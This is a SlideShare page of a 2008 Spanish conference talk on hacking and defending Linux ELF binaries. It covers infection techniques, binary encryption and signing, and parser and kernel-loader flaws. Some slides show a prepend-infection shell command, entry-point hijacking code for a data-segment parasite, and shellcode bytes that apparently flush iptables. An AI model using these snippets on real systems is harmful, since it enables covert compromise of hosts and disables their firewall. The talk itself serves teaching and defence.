SlideShare una empresa de Scribd logo
ELF EN LA MIRA: HACKING Y DEFENSA Alejandro Hernández Hernández [email_address] http://www.genexx.org/nitrous/ UPAEP @ Puebla, Puebla. 24/Oct/2008
TABLA DE CONTENIDOS ¿QUE ES ELF? Interfaces o vistas Estructura BLACKHAT Malware hace algunos años… Técnicas de Infección Esteganografía WHITEHAT Encripción Binaria Firma Digital GRAYHAT Anti-análisis/Anti-forense Análisis de Vulnerabilidades (vuln-dev) CONCLUSIÓN  PREGUNTAS/COMENTARIOS REFERENCIAS
¿QUE ES ELF? ELF  por sus siglas en inglés de  Executable and Linking Format  es un formato de archivo mayormente utilizado en sistemas tipo UNIX como Linux, BSD, Solaris, Irix. Existen otros formatos soportados en algunos de estos sistemas como COFF o a.out, pero  ELF  es sin duda el más usado.
¿QUE ES ELF? (Cont.) Tipos de archivo Ejecutables Librerías compartidas Relocalizables Volcados de Memoria (coredumps) Interfaces o Vistas Ejecución (Segmentos) Enlace (Secciones)
INTERFACES O VISTAS
ESTRUCTURA DE ELF Elf32_Ehdr
ESTRUCTURA DE ELF Elf32_Shdr
ESTRUCTURA DE ELF Elf32_Phdr
BLACKHAT
HACE ALGUNOS AÑOS… “… Usa Linux, en Linux no existen los virus…” La plataforma mas atacada era Windows En Linux no eran más que PoCs lejos de ser amenazas reales Técnicas de infección y protección simples
“ Virus writers and other cyber criminals have lost interest in Linux, since it is neither “underground” nor mainstream, which means there isn't much money-making potential” Fuente:  Kaspersky Security Bulletin 2006: Malware for Unix-type systems MALWARE FOR UNIX-TYPE SYSTEMS Number of malicious programs for Unix platforms
Breakdown of malware according to platform  MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente:  Kaspersky Security Bulletin 2006: Malware for Unix-type systems
Breakdown of malware according to platform  MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente:  Kaspersky Security Bulletin 2006: Malware for Unix-type systems
TÉCNICAS DE INFECCIÓN Sobrescritura, “pre/post pending” $cat ejecutable >> parasito $mv parasito ejecutable; ./ejecutable Relleno de páginas (padding) Infección de .text Infección de .data Infección de .fini Hooking PLT/GOT En tiempo de ejecución [ptrace()] Ejecutables estáticos Etc.
CASO: INFECCIÓN DEL SEGMENTO DE DATOS .text .data .bss 0x080482d0 *(int *)&parasite[par_entry_off] = header->e_entry; " \xbd\xed\xac\xef\x0d "   // mov  $0xdefaced,%ebp " \xff\xe5 "  // jmp  *%ebp " \xbd \xd0\x82\x04\x08 " " \xff\xe5 " Entrypoint
header->e_entry = program->p_vaddr + program->p_memsz; CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss 0x080482d0 Entrypoint
.text .data .bss 0x080482d0 CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) “ \x6a\x0b\x58\x99\x52” “ \x66\x68\x2d\x46\x89” “ \xe1\x52\x66\x68\x65” “ \x73\x68\x74\x61\x62” “ \x6c\x68\x6e\x2f\x69” “ \x70\x68\x2f\x73\x62” “ \x69\x89\xe3\x52\x51” “ \x53\x89\xe1\xcd\x80”
CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss nitr0us@hacklab $ ./run_forest_run Parásito
DEMO ELF_data_infector.c  (nitr0us) 4554invader.c  (Electronic Souls) ES-Malaria  (Electronic Souls)
ESTEGANOGRAFÍA En código ejecutable  Instrucciones funcionalmente equivalentes add %eax, $50 == sub %eax, $-50 Tazas de Codificación Fuente:  Hydan: Hiding Information in Program Binaries
DEMO Hydan  ( Rakan El-Khalil)
WHITEHAT
SEGURIDAD EN ELF Encripción Binaria Código/Datos Burneye (scut [TESO]) PKI (Public Key Infrastructure) Firma Digital (elfsign)
DEMO cryptelf.c  (SLACKo) ELFCrypt.c  (JunkCode) elfsign  (skape)
GRAYHAT FRANK SINATRA
Técnicas anti-análisis Estático Dinámico ptrace() Técnicas anti-forense SELF (Pluf & Ripe) Ofuscación Código Datos (IN) SEGURIDAD EN ELF
ANÁLISIS DE VULNERABILIDADES Violar la especificación de ELF Análisis de campos numéricos Integer overflows Strings sin terminación (‘\x00’) Reserva de memoria Buffers más chicos/grandes de lo esperado Referencias inválidas de memoria Comportamientos indefinidos
ELF HEADER (Elf32_Ehdr)
¿Y QUE SI…?
ELF PROGRAM HEADER (Elf32_Ehdr)
¿Y QUE SI…?
INTERPRETE
¿Y QUE SI…?
Elf32_Shdr *sections = (Elf32_Shdr *) (elfptr + hdr.e_shoff);  shstrtab_section = *(Elf32_Shdr *) (elfptr + hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr)); shstrtab_offset  = shstrtab_section.sh_offset; printf(“[Nr]  Section name\n”); for(k = 0; k < hdr.e_shnum; k++, sections++){ printf(&quot;[%2d] %s\n&quot;, k, \   elfptr + shstrtab_offset + sections->sh_name); … } if(phdrs->p_type == PT_INTERP) printf(&quot;[Interpreter: %s]\n&quot;, elfptr + phdrs->p_offset);  ENTONCES, QUE PASARÍA CON…
 
KERNEL (Linux 2.6) /usr/src/linux/fs/binfmt_elf.c load_elf_interp() int size; ... if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr)) goto out; if (interp_elf_ex->e_phnum < 1 || interp_elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr)) goto out; /* Now read in all of the header information */ size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum; if (size > ELF_MIN_ALIGN) /* size > 4096 */ goto out; elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_binary() unsigned int size; … size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr); elf_phdata = (struct elf_phdr *)  kmalloc(size,GFP_KERNEL); … elf_interpreter = (char *)  kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);
KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_library() int j; /* Now read in all of the header information */ j = sizeof(struct elf_phdr) * elf_ex.e_phnum; /* j < ELF_MIN_ALIGN because elf_ex.e_phnum <= 2 */ elf_phdata = kmalloc(j, GFP_KERNEL);
DEMO ELFsh_crash.esh  (nitr0us) ht_shstrndx_poc.c  (nitr0us) Gizmo  (izik)
CONCLUSIÓN ELF es un formato de archivos algo complejo, dentro del cual se encuentran estructuras de datos, ya sea para crear un ejecutable o para cargarlo en memoria y ejecutarlo. Dentro de estas estructuras de datos es posible encontrar diferentes valores que podrían ser modificados para violar la especificación.
¿PREGUNTAS? ¿COMENTARIOS?
REFERENCIAS [1] Anonymous, (2002). Runtime Process Infection.  Phrack Magazine, 11 (59). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=59&id=8 [2] Barros, C. (2006). Complete guide to process infection.  The Bug Magazine,  1 (1). Extraido el 20 de Enero de 2007 desde http://www.thebugmagazine.org/magazine/bug01/0x06_complete- guide-to-process-infection.txt [3] Bauche, D. (2005).  Ingeniería Inversa en Linux . Guadalajara, Jalisco, México. Extraido el 11 de Noviembre de 2006 desde  http://www.genexx.org/pubs/iil/IIL.pdf [4]  El-Khalil, R. & Keromytis, A.  Hydan: Hiding Information in Program Binaries . Department of Computer Science, Columbia University. New York. [5] Garaizar, P. (s.f.).  Virus en Linux – Un nuevo campo de batalla .
REFERENCIAS (Cont.) [6] Griffiths, A. (s.f.).  Binary protection schemes  (Ed. Rev. 1.0-prerelease- 0.7). Extraido el 13 de Febrero de 2007 desde  http://felinemenace.org/papers/Binary_protection_schemes-1.00- prerelease.tar.gz [7] Grugq, Scut (2001). Armouring the ELF: Binary encryption on the UNIX  platform.  Phrack Magazine, 11 (58).  Extraido el 02 de Junio de 2007  desde  http://www.phrack.org/issues.html?issue=58&id=5 [8] Grugq. (s.f.).  Cheating the ELF . Extraido el 04 de Marzo de 2006 desde  http://m4dch4t.effraie.org/coding/Cheating_elf.pdf [9] Haungs, M. (1998).  Extending Sim286 to the Intel386 Architecture with 32-bit  processing and Elf Binary input  (p. 10-17).  Extraido el 12 de Mayo de 2006  desde http://www.cs.ucdavis.edu/~haungs/paper/paper.html [10] Hodson, D.(2004).  ELF: A fairytale for viruses . Trabajo presentado en RuxCon 2004 conference, Julio 10-11, Sydney, Australia.
[11]  Johnson, R. (2004).  Hooking the Linux ELF Loader . Trabajo presentado en Toorcon 2004 conference, Septiembre 24-26, San Diego,  California, USA. [12]  Lu, H. (1995).  ELF: From The Programmer's Perspective . NY 10604, USA. [13] Starzetz, P. (2004).  Linux kernel binfmt_elf loader vulnerabilities . [14] TIS Committee. (1995).  Executable and Linking Format (ELF) Specification  v. 1.2 .  Extraido el 22 de Enero de 2005 desde http://www.x86.org/ftp/manuals/tools/elf.pdf REFERENCIAS (Cont.)
A. Alejandro Hernández Hernández [email_address] http://www.genexx.org/nitrous/ Gracias !

Más contenido relacionado

PDF
Seguridad so pi_2011
PPTX
Experiencias con-asterisk-1.8-cert
PDF
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
PDF
Seguridad informatica (live cd) 1.2
PPTX
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
PPT
Semana 9 entradas salidas estandar y pipes
DOCX
Act 01
PDF
Los mejores trucos de Asterisk
Seguridad so pi_2011
Experiencias con-asterisk-1.8-cert
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Seguridad informatica (live cd) 1.2
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Semana 9 entradas salidas estandar y pipes
Act 01
Los mejores trucos de Asterisk

Similar a ELF en la mira: Hacking y Defensa (20)

PDF
Lw2010 Pedro Valera
PPT
Sistemas de VoIP con Asterisk
PPTX
Metasploit - Bypass UAC fodhelper [Post-explotación]
PPT
VoIP con Asterisk 2009
DOCX
CREACION DE DLL Y USO (Ejemplo desarrollado)
PDF
Creacion de shellcodes para Exploits en Linux/x86
PPT
VoIP con Asterisk Marzo 2010
PDF
Dot dotpwn v3.0beta campus party méxico 2011
PDF
Dot dotpwn v3.0beta campus party méxico 2011
PPTX
SSRF, la vulnerabilidad de las aplicaciones web modernas
PDF
Guía Laboratorio 6.pdf
PDF
Anatomía de un ataque a tns listener
PPT
Plone en La Jornada
PPT
Evasión de Técnicas Forenses
PPTX
Malware en Linux - Barcamp SE - Cali, Colombia 2013
PDF
Exploits y stack overflows en windows 2017
PDF
Presentacion re y_des_09072003
PDF
Material taller de exploiting Navaja Negra 4ed
PPT
Analaisis de malwatre trickbot - mp alonso
PDF
PeruHack 2014 - Post Explotacion en Entornos Windows
Lw2010 Pedro Valera
Sistemas de VoIP con Asterisk
Metasploit - Bypass UAC fodhelper [Post-explotación]
VoIP con Asterisk 2009
CREACION DE DLL Y USO (Ejemplo desarrollado)
Creacion de shellcodes para Exploits en Linux/x86
VoIP con Asterisk Marzo 2010
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011
SSRF, la vulnerabilidad de las aplicaciones web modernas
Guía Laboratorio 6.pdf
Anatomía de un ataque a tns listener
Plone en La Jornada
Evasión de Técnicas Forenses
Malware en Linux - Barcamp SE - Cali, Colombia 2013
Exploits y stack overflows en windows 2017
Presentacion re y_des_09072003
Material taller de exploiting Navaja Negra 4ed
Analaisis de malwatre trickbot - mp alonso
PeruHack 2014 - Post Explotacion en Entornos Windows

Más de Alejandro Hernández (9)

PPTX
Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
PPTX
Brain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
PPTX
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
PPTX
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
PPTX
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
PDF
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
PPT
De Hacker a C-Level
PPT
Live Hacking : del Bug al Exploit
PPT
Fuzzeando Snort con opciones TCP/IP
Are You Trading Stocks Securely? Exposing Security Flaws in Trading Technologies
Brain Waves Surfing - (In)security in EEG (Electroencephalography) Technologies
In the lands of corrupted elves - Breaking ELF software with Melkor fuzzer
Tips y Experiencias de un Consultor en Seguridad Informática - Campus Party C...
Seguridad Física - Mira Mamá, como Jason Bourne - BugCON 2013
DotDotPwn Fuzzer - Black Hat 2011 (Arsenal)
De Hacker a C-Level
Live Hacking : del Bug al Exploit
Fuzzeando Snort con opciones TCP/IP

ELF en la mira: Hacking y Defensa

  • 1. ELF EN LA MIRA: HACKING Y DEFENSA Alejandro Hernández Hernández [email_address] http://www.genexx.org/nitrous/ UPAEP @ Puebla, Puebla. 24/Oct/2008
  • 2. TABLA DE CONTENIDOS ¿QUE ES ELF? Interfaces o vistas Estructura BLACKHAT Malware hace algunos años… Técnicas de Infección Esteganografía WHITEHAT Encripción Binaria Firma Digital GRAYHAT Anti-análisis/Anti-forense Análisis de Vulnerabilidades (vuln-dev) CONCLUSIÓN PREGUNTAS/COMENTARIOS REFERENCIAS
  • 3. ¿QUE ES ELF? ELF por sus siglas en inglés de Executable and Linking Format es un formato de archivo mayormente utilizado en sistemas tipo UNIX como Linux, BSD, Solaris, Irix. Existen otros formatos soportados en algunos de estos sistemas como COFF o a.out, pero ELF es sin duda el más usado.
  • 4. ¿QUE ES ELF? (Cont.) Tipos de archivo Ejecutables Librerías compartidas Relocalizables Volcados de Memoria (coredumps) Interfaces o Vistas Ejecución (Segmentos) Enlace (Secciones)
  • 6. ESTRUCTURA DE ELF Elf32_Ehdr
  • 7. ESTRUCTURA DE ELF Elf32_Shdr
  • 8. ESTRUCTURA DE ELF Elf32_Phdr
  • 10. HACE ALGUNOS AÑOS… “… Usa Linux, en Linux no existen los virus…” La plataforma mas atacada era Windows En Linux no eran más que PoCs lejos de ser amenazas reales Técnicas de infección y protección simples
  • 11. “ Virus writers and other cyber criminals have lost interest in Linux, since it is neither “underground” nor mainstream, which means there isn't much money-making potential” Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems MALWARE FOR UNIX-TYPE SYSTEMS Number of malicious programs for Unix platforms
  • 12. Breakdown of malware according to platform MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems
  • 13. Breakdown of malware according to platform MALWARE FOR UNIX-TYPE SYSTEMS (Cont.) Fuente: Kaspersky Security Bulletin 2006: Malware for Unix-type systems
  • 14. TÉCNICAS DE INFECCIÓN Sobrescritura, “pre/post pending” $cat ejecutable >> parasito $mv parasito ejecutable; ./ejecutable Relleno de páginas (padding) Infección de .text Infección de .data Infección de .fini Hooking PLT/GOT En tiempo de ejecución [ptrace()] Ejecutables estáticos Etc.
  • 15. CASO: INFECCIÓN DEL SEGMENTO DE DATOS .text .data .bss 0x080482d0 *(int *)&parasite[par_entry_off] = header->e_entry; &quot; \xbd\xed\xac\xef\x0d &quot; // mov $0xdefaced,%ebp &quot; \xff\xe5 &quot; // jmp *%ebp &quot; \xbd \xd0\x82\x04\x08 &quot; &quot; \xff\xe5 &quot; Entrypoint
  • 16. header->e_entry = program->p_vaddr + program->p_memsz; CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss 0x080482d0 Entrypoint
  • 17. .text .data .bss 0x080482d0 CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) “ \x6a\x0b\x58\x99\x52” “ \x66\x68\x2d\x46\x89” “ \xe1\x52\x66\x68\x65” “ \x73\x68\x74\x61\x62” “ \x6c\x68\x6e\x2f\x69” “ \x70\x68\x2f\x73\x62” “ \x69\x89\xe3\x52\x51” “ \x53\x89\xe1\xcd\x80”
  • 18. CASO: INFECCIÓN DEL SEGMENTO DE DATOS (Cont.) .text .data .bss nitr0us@hacklab $ ./run_forest_run Parásito
  • 19. DEMO ELF_data_infector.c (nitr0us) 4554invader.c (Electronic Souls) ES-Malaria (Electronic Souls)
  • 20. ESTEGANOGRAFÍA En código ejecutable Instrucciones funcionalmente equivalentes add %eax, $50 == sub %eax, $-50 Tazas de Codificación Fuente: Hydan: Hiding Information in Program Binaries
  • 21. DEMO Hydan ( Rakan El-Khalil)
  • 23. SEGURIDAD EN ELF Encripción Binaria Código/Datos Burneye (scut [TESO]) PKI (Public Key Infrastructure) Firma Digital (elfsign)
  • 24. DEMO cryptelf.c (SLACKo) ELFCrypt.c (JunkCode) elfsign (skape)
  • 26. Técnicas anti-análisis Estático Dinámico ptrace() Técnicas anti-forense SELF (Pluf & Ripe) Ofuscación Código Datos (IN) SEGURIDAD EN ELF
  • 27. ANÁLISIS DE VULNERABILIDADES Violar la especificación de ELF Análisis de campos numéricos Integer overflows Strings sin terminación (‘\x00’) Reserva de memoria Buffers más chicos/grandes de lo esperado Referencias inválidas de memoria Comportamientos indefinidos
  • 30. ELF PROGRAM HEADER (Elf32_Ehdr)
  • 34. Elf32_Shdr *sections = (Elf32_Shdr *) (elfptr + hdr.e_shoff); shstrtab_section = *(Elf32_Shdr *) (elfptr + hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr)); shstrtab_offset = shstrtab_section.sh_offset; printf(“[Nr] Section name\n”); for(k = 0; k < hdr.e_shnum; k++, sections++){ printf(&quot;[%2d] %s\n&quot;, k, \ elfptr + shstrtab_offset + sections->sh_name); … } if(phdrs->p_type == PT_INTERP) printf(&quot;[Interpreter: %s]\n&quot;, elfptr + phdrs->p_offset); ENTONCES, QUE PASARÍA CON…
  • 35.  
  • 36. KERNEL (Linux 2.6) /usr/src/linux/fs/binfmt_elf.c load_elf_interp() int size; ... if (interp_elf_ex->e_phentsize != sizeof(struct elf_phdr)) goto out; if (interp_elf_ex->e_phnum < 1 || interp_elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr)) goto out; /* Now read in all of the header information */ size = sizeof(struct elf_phdr) * interp_elf_ex->e_phnum; if (size > ELF_MIN_ALIGN) /* size > 4096 */ goto out; elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
  • 37. KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_binary() unsigned int size; … size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr); elf_phdata = (struct elf_phdr *) kmalloc(size,GFP_KERNEL); … elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);
  • 38. KERNEL (Cont.) /usr/src/linux/fs/binfmt_elf.c load_elf_library() int j; /* Now read in all of the header information */ j = sizeof(struct elf_phdr) * elf_ex.e_phnum; /* j < ELF_MIN_ALIGN because elf_ex.e_phnum <= 2 */ elf_phdata = kmalloc(j, GFP_KERNEL);
  • 39. DEMO ELFsh_crash.esh (nitr0us) ht_shstrndx_poc.c (nitr0us) Gizmo (izik)
  • 40. CONCLUSIÓN ELF es un formato de archivos algo complejo, dentro del cual se encuentran estructuras de datos, ya sea para crear un ejecutable o para cargarlo en memoria y ejecutarlo. Dentro de estas estructuras de datos es posible encontrar diferentes valores que podrían ser modificados para violar la especificación.
  • 42. REFERENCIAS [1] Anonymous, (2002). Runtime Process Infection. Phrack Magazine, 11 (59). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=59&id=8 [2] Barros, C. (2006). Complete guide to process infection. The Bug Magazine, 1 (1). Extraido el 20 de Enero de 2007 desde http://www.thebugmagazine.org/magazine/bug01/0x06_complete- guide-to-process-infection.txt [3] Bauche, D. (2005). Ingeniería Inversa en Linux . Guadalajara, Jalisco, México. Extraido el 11 de Noviembre de 2006 desde http://www.genexx.org/pubs/iil/IIL.pdf [4] El-Khalil, R. & Keromytis, A. Hydan: Hiding Information in Program Binaries . Department of Computer Science, Columbia University. New York. [5] Garaizar, P. (s.f.). Virus en Linux – Un nuevo campo de batalla .
  • 43. REFERENCIAS (Cont.) [6] Griffiths, A. (s.f.). Binary protection schemes (Ed. Rev. 1.0-prerelease- 0.7). Extraido el 13 de Febrero de 2007 desde http://felinemenace.org/papers/Binary_protection_schemes-1.00- prerelease.tar.gz [7] Grugq, Scut (2001). Armouring the ELF: Binary encryption on the UNIX platform. Phrack Magazine, 11 (58). Extraido el 02 de Junio de 2007 desde http://www.phrack.org/issues.html?issue=58&id=5 [8] Grugq. (s.f.). Cheating the ELF . Extraido el 04 de Marzo de 2006 desde http://m4dch4t.effraie.org/coding/Cheating_elf.pdf [9] Haungs, M. (1998). Extending Sim286 to the Intel386 Architecture with 32-bit processing and Elf Binary input (p. 10-17). Extraido el 12 de Mayo de 2006 desde http://www.cs.ucdavis.edu/~haungs/paper/paper.html [10] Hodson, D.(2004). ELF: A fairytale for viruses . Trabajo presentado en RuxCon 2004 conference, Julio 10-11, Sydney, Australia.
  • 44. [11] Johnson, R. (2004). Hooking the Linux ELF Loader . Trabajo presentado en Toorcon 2004 conference, Septiembre 24-26, San Diego, California, USA. [12] Lu, H. (1995). ELF: From The Programmer's Perspective . NY 10604, USA. [13] Starzetz, P. (2004). Linux kernel binfmt_elf loader vulnerabilities . [14] TIS Committee. (1995). Executable and Linking Format (ELF) Specification v. 1.2 . Extraido el 22 de Enero de 2005 desde http://www.x86.org/ftp/manuals/tools/elf.pdf REFERENCIAS (Cont.)
  • 45. A. Alejandro Hernández Hernández [email_address] http://www.genexx.org/nitrous/ Gracias !